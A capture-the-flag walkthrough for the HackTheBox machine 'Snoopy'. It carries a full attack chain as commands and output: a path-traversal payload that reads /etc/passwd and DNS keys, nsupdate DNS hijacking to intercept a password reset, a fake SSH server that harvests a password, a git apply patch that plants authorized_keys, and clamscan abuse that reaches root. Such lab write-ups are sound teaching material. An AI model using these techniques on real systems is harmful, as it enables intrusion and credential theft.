Snoopy

Creator: ctrlzero

Machine URL: https://app.hackthebox.com/machines/Snoopy

Difficulty: Hard


Initial enumeration

We start with an nmap scan:

# Nmap 7.93 scan initiated Sat May  6 21:39:43 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.188.62
Nmap scan report for 10.129.188.62
Host is up, received echo-reply ttl 63 (0.040s latency).
Scanned at 2023-05-06 21:39:43 CEST for 29s
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ee6bcec5b6e3fa1b97c03d5fe3f1a16e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwa6lTzS8uZRb7EebEXbLkAU0FpJ8k9KO+YwTTeEE7E3VgGZr4vOP4EOZce1XDgwR18wt0WOCiYz6pi6M4y4Lw=
|   256 545941e1719a1a879c1e995059bfe5ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZTgpF2zR6Xamvdn+NyIUGFtq7hXBd7RK3SM00IMQht
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  6 21:40:12 2023 -- 1 IP address (1 host up) scanned in 29.67 seconds

There is a BIND DNS server on TCP 53 and an nginx web server on TCP 80.
Let’s take a quick look at the nginx first.

nginx web server

We are greeted by the website for SnoopySec.

snoopy.htb

Interesting links on the main page

Download links for the press package and recent announcement:

Both refer us to snoopy.htb. We add this hostname to our /etc/hosts.
The file parameter looks interesting and might be susceptible to Path Traversal. We will return to it later after we are done with an initial look at the web app.

About page

http://snoopy.htb/about.html

About

We note the positions, emails, and names of the listed team members.
We also take note of [email protected] from the footer.

Contact page

http://snoopy.htb/contact.html

Contact

There is a warning on the top of this page that might be of use:

Attention: As we migrate DNS records to our new domain please be advised that our mailserver ‘mail.snoopy.htb’ is currently offline.

Contact form

POSTs to forms/contact.php. Throws an error:

Error: Unable to load the “PHP Email Form” Library!


After we are done with the first look at the website, let’s attempt a DNS Zone Transfer on the DNS server.

DNS Zone Transfer

┌──(fluff㉿kali)-[/tmp/snoopy]
└─$ dig axfr @10.129.188.62 snoopy.htb

; <<>> DiG 9.18.12-1-Debian <<>> axfr @10.129.188.62 snoopy.htb
; (1 server found)
;; global options: +cmd
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.             86400   IN      NS      ns1.snoopy.htb.
snoopy.htb.             86400   IN      NS      ns2.snoopy.htb.
mattermost.snoopy.htb.  86400   IN      A       172.18.0.3
mm.snoopy.htb.          86400   IN      A       127.0.0.1
ns1.snoopy.htb.         86400   IN      A       10.0.50.10
ns2.snoopy.htb.         86400   IN      A       10.0.51.10
postgres.snoopy.htb.    86400   IN      A       172.18.0.2
provisions.snoopy.htb.  86400   IN      A       172.18.0.4
www.snoopy.htb.         86400   IN      A       127.0.0.1
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 43 msec
;; SERVER: 10.129.188.62#53(10.129.188.62) (TCP)
;; WHEN: Sat May 06 22:10:28 CEST 2023
;; XFR size: 11 records (messages 1, bytes 325

Zone transfer is successful and we get all the DNS records for the domain snoopy.htb.
Notably, mail.snoopy.htb is not in the records.

mm.snoopy.htb is in the list and it points to localhost. We add it to our /etc/hosts.
mattermost.snoopy.htb, postgres.snoopy.htb, and provisions.snoopy.htb seem to be pointing at containers so they will not be immediately accessible to us.

mm.snoopy.htb

http://mm.snoopy.htb

We are greeted by the Mattermost instance.

Mattermost

Let’s poke around and see what functionality is available to us.

Password reset

http://mm.snoopy.htb/reset_password

After trying all the emails that are known to us only [email protected] succeeds:

Resetting password for info@snoopy.htb

All others get the error:

Resetting password for cschultz@snoopy.htb

It suggests that mailing for the accounts that exist doesn’t work properly.
We know that the contact page mentioned the mail server is offline due to the DNS records migration.


We are done with the initial recon. To sum up our findings:

  • The mail server, mail.snoopy.htb, is offline due to DNS records migration.
  • This server is also not in the list of records on the target’s DNS server.
  • If we can fix this problem and point the mail server to ourselves, we should be able to intercept the password reset email and log in to Mattermost.

Let’s hunt for something that can help us in this task.
During the initial enumeration, we took note of the announcement download link – http://snoopy.htb/download?file=announcement.pdf that looks like it might be susceptible to some kind of Path Traversal vulnerability.

Arbitrary File Download in /download

Quick fuzz with ffuf confirms our suspicions:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -ic -c -t 400 -u "http://snoopy.htb/download?file=FUZZ" -fs 0
...
[Status: 200, Size: 796, Words: 3, Lines: 2, Duration: 72ms]
    * FUZZ: ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd

[Status: 200, Size: 796, Words: 3, Lines: 2, Duration: 73ms]
    * FUZZ: ....//....//....//....//....//....//....//etc/passw

Let’s try it out.

GET /download?file=....//....//....//....//etc/passwd HTTP/1.1
Host: snoopy.htb
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 06 May 2023 20:03:17 GMT
Content-Type: application/zip
Content-Length: 796
Connection: close
Content-Disposition: attachment; filename=press_release.zip

PKݜ™V,†ŽÙŠ
press_package/etc/passwdTKs›0¾ûWplg’Û±9¦‡\š’N¯*0#ùõ݇lãBیÍ®öûV‹v%gmŸ³†CUðœ7FäÒ׋RªÖ@$0‚!ï„ÈUÆj[5f«Çl	ƒüó òJa &JµŸ™P«l³^§«ŒLq*Ð\T²UimâŒ
Š3RoB¶“ÛdÉ2CU쥅,j%Ȝàuð ØwÖj¡»r6x£¾…A*X›`:`Þ;¤Ž‚³=aCÉ$1
#ÛNçìñ„¤…­¿Täp8ܗ²—X–å²@ۀ5WkY¼
˜”$˜D`}îGtã±áÒ-Ê3Ocªè+,FÏÒÈJ9@°)»qØét¨ƒŒ`m®Œìñ˜W	ÊZÑãPÝ¿¨Îº÷}=ù^µÑ'Y¶ù|Þ9̜©›Ím‰GÊ=ÉsXQGH[™¹ÌÊ®§Ɓö?‚§ÜÊ{£úƒuoąK/³à‰¾±'\aîîîøDäaòVï…]—^¾°Ç} \3[烧8ÐgñǬo€Î—iI¼¾¤ð\PSÔΚæ]ö5H§³ÚIöüWkx±Æwüê¥ä—Ô^-¼¯KBo.e¡=pyæú¼Ž„ÈV›ŒíˆßEJðÜA9
QäÎwBÌӗZ:ݨè‘<¢¶­v}ˆýˆ—ðô*µ>Ý°üŸ¬BËVU†7`ÏÜ£§tèT¬'”ìÅöE=èþ±X@8rúå£×à›¡Wö¾ròÄÔ5N›ìGcµê£'\gc®P¸XÛ,Iқâ’kæÖi98…ïòn¯ínHàÁ5j†ßPK?ݜ™V,†ŽÙŠ
¤press_package/etc/passwdPKFÀ

We get a zip archive back.
For ease of use, we can curl the file and then pipe it to zcat to unzip and show output in stdout.

┌──(fluff㉿kali)-[/tmp/snoopy]
└─$ curl -s http://snoopy.htb/download?file=....//....//....//....//etc/passwd | zcat
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt❌100:65534::/nonexistent:/usr/sbin/nologin
systemd-network❌101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve❌102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus❌103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync❌104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate❌105:1::/var/cache/pollinate:/bin/false
sshd❌106:65534::/run/sshd:/usr/sbin/nologin
usbmux❌107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cbrown❌1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown❌1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav❌1002:1003::/home/clamav:/usr/sbin/nologin
lpelt❌1003:1004::/home/lpelt:/bin/bash
cschultz❌1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray❌1005:1006:Violet Gray:/home/vgray:/bin/bash
bind❌108:113::/var/cache/bind:/usr/sbin/nologin
_laurel❌999:998::/var/log/laurel:/bin/false

User clamav suggests that Clam AntiVirus might be present in the system.
There are also several users with a console: cbrown, sbrown, lpelt, cschultz, and vgray.

Reading BIND DNS configs

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/loot]
└─$ curl -s http://snoopy.htb/download?file=....//....//....//....//etc/bind/named.conf | zcat
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

Note the rndc-key.

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/loot]
└─$ curl -s http://snoopy.htb/download?file=....//....//....//....//etc/bind/named.conf.local | zcat
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

zone "snoopy.htb" IN {
    type master;
    file "/var/lib/bind/db.snoopy.htb";
    allow-update { key "rndc-key"; };
    allow-transfer { 10.0.0.0/8; };
};

allow-update with rndc-key means that we should be able to update any DNS record in the snoopy.htb zone.

Adding a DNS record for mail.snoopy.htb and resetting the Mattermost password

To gain access to mm.snoopy.htb we need to receive a password reset email.
Let’s add the A DNS record that will point mail.snoopy.htb to our machine and intercept the password reset email.

SMTP Server

First, we will set up and start a fake SMTP server. For this purpose, I will use a python module smtpd:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ python3 -m smtpd -n -c DebuggingServer 10.10.14.36:25

nsupdate

To update the records on a remote DNS server we can use nsupdate.
Here is a blog post that outlines the functionality that we need.

dns.txt that contains commands to run with nsupdate:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/exploit]
└─$ cat dns.txt
server 10.129.188.62
update add mail.snoopy.htb.     86400   IN      A       10.10.14.36
send

Use nsupdate with the key to run these commands:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/exploit]
└─$ nsupdate -y 'hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=' dns.txt

Confirm that this worked with dig:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy/exploit]
└─$ dig mail.snoopy.htb @10.129.188.62
...
;; ANSWER SECTION:
mail.snoopy.htb.        86400   IN      A       10.10.14.36
...

Password reset

Navigate to http://mm.snoopy.htb/reset_password.
Let’s use [email protected] from accounting first.

Back on our python SMTP server
Password reset email
we get a password reset link!

In this case, it’s http://mm.snoopy.htb/reset_password_complete?token=wmei8dtdph8xhn48tuezu1kja77e5qt61smj84r18r14y68km189tyfwxmetzpag

Note: 3D is not a part of the token. It’s quoted-printable.

After navigating to this link we can change the user’s password:
Password reset successful

Now we can explore Mattermost on http://mm.snoopy.htb.

Note: there is a cleanup job to restore the original DNS records.
Be quick to reset the password!

Mattermost – Logged in as lpelt

Interesting info from the channels

Towns Square:

  • ClamAV confirmed.
  • Some new server provisioning feature was just added.

Browse all available channels

Available channels on Mattermost

There is one available channel to join – Server Provisioning.
On joining, the bot informs us about the /server_provision chat command.

Sending it to the chat pops out a provisioning form:
Provisioning form

Server provisioning request

Let’s submit the form with our IP address: Provisioning form with our IP address

We will also listen on TCP 2222, as the form suggests.

After submitting the form we get a Direct Message from cbrown:
DM from cbrown on failure

and our listener shows the following:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ nc -lnvp 2222
listening on [any] 2222 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.188.98] 55192
SSH-2.0-paramiko_3.1.0

cbrown attempts to connect via SSH.

Get SSH credentials

We can use sshesame to fake an ssh server.
The package is available in Kali repos and on GitHub.

┌──(fluff㉿kali)-[/tmp]
└─$ cat ssh.yaml
server:
  listen_address: 10.10.14.36:2222
┌──(fluff㉿kali)-[/tmp]
└─$ sshesame -config ssh.yaml

Fill out the server provisioning form on Mattermost one more time and submit it.

We get another DM from cbrown telling us that they were able to access the server. sshesame logged the password:

┌──(fluff㉿kali)-[/tmp]
└─$ sshesame -config ssh.yaml
INFO 2023/05/07 03:40:53 No host keys configured, using keys at "/home/fluff/.local/share/sshesame"
INFO 2023/05/07 03:40:53 Listening on 10.10.14.36:2222
2023/05/07 03:41:20 [10.129.188.98:59672] authentication for user "cbrown" with password "s<REDACTED>!" accepted
...

This password was reused by cbrown and we can SSH to the target with it.

cbrown

sudo

cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown:
Matching Defaults entries for cbrown on snoopy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git apply *

We can run /usr/bin/git apply * as sbrown.

git apply allows us to apply patches in the diff format.
In theory, we should be able to create a file with a crafted patch.

Note: there is also a recent CVE that warns about the misuse of --reject in git apply and our version seems vulnerable. It would allow us to modify a file, but we will not use it.

Abusing git apply to write an authorized_keys file

First, we generate an SSH key:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/fluff/.ssh/id_rsa): ./sbrown_rsa
...
┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ cat sbrown_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7eNcb1VqR9AO56K0vGa01uEejcLK6pSKzjTPzYwSXEVmF7DYsxSG8vAEuDGwoUzlZ0Jbp6/xIo11PY00/zI1KWwyvRfkkPuL5rFJaTbZ+NVl7fuNBZKhdhn2zBOkDwRvexpk7isWNPYBisMlEjdCuHOftFpymBH99aIACLyuNbPNE1RtPTP/UG4BYs2yL3Urd2H3OaPP5K6tJukLFLWw5ifXAFtu6jlOqzGVblsETLg1kGi1YujC0Nw/6l2whjH9OT+R2gHgghqf+rkGFh/j6wq4N52FCuLzk2OpQXRjW2OYl2U40w7m4GXhPi+o7babsyWLP/mJkDX6qox9U1Icpmb/oMgtz05yca7Xm28JEeATvO1QabLmiwjjl0CltQC865GjbxxYElJDOnqexSd8nYGM2SzBIOqQfbf1uXbaVwYJUAOOz7pMNsMYFkFG4BssC2gWRFxvnyUMbl6ITb++zI/pHtOP3ivf7sK5WjzmsRyLEr9LthbANGGTdYaui0wk= fluff@kali

Now we need to craft a diff file that will create an autorized_keys file with our key in it:

cbrown@snoopy:~$ cat /tmp/fluffypatch.diff
diff --git a/home/sbrown/.ssh/authorized_keys b/home/sbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..1906a12
--- /dev/null
+++ /home/sbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7eNcb1VqR9AO56K0vGa01uEejcLK6pSKzjTPzYwSXEVmF7DYsxSG8vAEuDGwoUzlZ0Jbp6/xIo11PY00/zI1KWwyvRfkkPuL5rFJaTbZ+NVl7fuNBZKhdhn2zBOkDwRvexpk7isWNPYBisMlEjdCuHOftFpymBH99aIACLyuNbPNE1RtPTP/UG4BYs2yL3Urd2H3OaPP5K6tJukLFLWw5ifXAFtu6jlOqzGVblsETLg1kGi1YujC0Nw/6l2whjH9OT+R2gHgghqf+rkGFh/j6wq4N52FCuLzk2OpQXRjW2OYl2U40w7m4GXhPi+o7babsyWLP/mJkDX6qox9U1Icpmb/oMgtz05yca7Xm28JEeATvO1QabLmiwjjl0CltQC865GjbxxYElJDOnqexSd8nYGM2SzBIOqQfbf1uXbaVwYJUAOOz7pMNsMYFkFG4BssC2gWRFxvnyUMbl6ITb++zI/pHtOP3ivf7sK5WjzmsRyLEr9LthbANGGTdYaui0wk= fluff@kali

Apply the patch as sbrown:

cbrown@snoopy:~$ cd /
cbrown@snoopy:/$ sudo -u sbrown git apply /tmp/fluffypatch.diff

We can now SSH as sbrown:

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ssh [email protected] -i sbrown_rsa
...
sbrown@snoopy:~$

sbrown

Grab a user.txt.

sbrown@snoopy:~$ cat user.txt

sudo

sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan

We are allowed to run clamscan, a ClamAV binary, as root.

Privilege escalation to root

We can abuse custom yara rules to copy and move “infected” files.
The general idea is described here.

Create a yara rule that will trigger on SSH public keys:

sbrown@snoopy:/tmp$ cat fluffy.yara
rule test
{
  strings:
    $string = "rsa"
  condition:
    $string
}

Move the original authorized_keys file from /root/.ssh to /tmp:

sbrown@snoopy:/tmp$ sudo /usr/local/bin/clamscan /root/.ssh/authorized_keys --move=/tmp -d fluffy.yara
Loading:     0s, ETA:   0s [========================>]        1/1 sigs
Compiling:   0s, ETA:   0s [========================>]       40/40 tasks

/root/.ssh/authorized_keys: YARA.test.UNOFFICIAL FOUND
/root/.ssh/authorized_keys: moved to '/tmp/authorized_keys'

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 1
Infected files: 1

Now copy our key to /root/.ssh:

sbrown@snoopy:/tmp$ sudo /usr/local/bin/clamscan /home/sbrown/.ssh/authorized_keys --copy=/root/.ssh -d fluffy.yara
Loading:     0s, ETA:   0s [========================>]        1/1 sigs
Compiling:   0s, ETA:   0s [========================>]       40/40 tasks

/home/sbrown/.ssh/authorized_keys: YARA.test.UNOFFICIAL FOUND
/home/sbrown/.ssh/authorized_keys: copied to '/root/.ssh/authorized_keys'

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 1
Infected files: 1

That’s it! We should be able to SSH as root.

┌──(fluff㉿kali)-[/opt/ctf/htb/snoopy]
└─$ ssh [email protected] -i sbrown_rsa
...
root@snoopy:~#

Grab root.txt and we are done.

root@snoopy:~# cat /root/root.txt